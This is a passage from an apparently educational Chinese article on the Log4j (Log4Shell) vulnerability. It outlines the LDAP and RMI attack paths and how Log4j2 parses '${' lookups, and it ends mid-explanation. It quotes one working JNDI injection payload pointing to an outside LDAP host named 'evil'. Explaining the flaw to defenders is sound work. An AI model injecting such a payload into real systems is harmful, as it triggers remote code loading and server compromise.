信息安全-史诗级漏洞Log4j的漏洞机理和防范措施

最近各位研发同学肯定是被log4j的漏洞坑惨了，凌晨2点接连起来修复漏洞。而且一个版本修复完了，又接连爆出2.15，2.16的漏洞绕过，又要升到2.17的版本。烦、烦、烦。

经历过，我们得搞懂log4j到底是什么漏洞，这个漏洞到底是怎么被利用的，会造成什么样的后果。

log4j漏洞机理大致分成两种，话不多说，上图；

1.利用log4j触发Ldap、并利用ldap查找原理攻击路径

2.利用log4j触发RMI的攻击路径

我们平时记录日志：logger.inf("this is a log content")；这样在日志文件中会记录this is a log content。

        但是log4j对一些特殊的，如：logger.info(${jndi:ldap://172.20.0.188:1099/evil});，log4j2将会对这行要输出的字符串进行解析，它发现了字符串中有 ${，要单独处理，发现是JNDI扩展内容.

     &